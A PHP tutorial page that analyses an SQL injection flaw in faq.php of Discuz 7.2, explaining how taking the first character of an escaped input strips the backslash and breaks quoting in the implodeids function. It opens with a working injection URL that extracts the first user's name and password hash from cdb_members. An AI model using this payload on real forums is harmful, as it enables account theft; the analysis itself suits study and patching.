Home >Backend Development >PHP Tutorial >Discuz7.2 version of faq.php SQL injection vulnerability analysis, discuz7.2faq.php_PHP tutorial
Injection code Example:
http://www.php.cn?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
Vulnerability analysis: by pithon
($action == 'grouppermission') { ... ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); ... } function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; } }
First define an array groupids, and then traverse $gids (this is also an array, which is $_GET[gids] ), take out the first bit of all values in the array and put it in groupids.
Why does this operation cause injection?
discuz will addlashes the GET array globally, which means it will escape ' to ', so if our incoming parameter is: gids[1]=' , will be escaped into $gids[1]=', and the assignment statement $groupids[] = $row[0] is equivalent to taking the first character of the string, that is, taking out the escape symbol .
Looking at the back, before putting the data into the sql statement, he processed it with implodeids. We see that the implodeids function
is a very simple function, which is to split the $groupids array just now with ',' to form one similar to '1', '2', '3', '4' String returned.
But our array has just taken out an escape character, which will escape a normal ' here, such as this:
'1','','3','4'
Did you see something different? The 4th single quote is escaped, which means the 5th single quote and the 3rd single quote are closed.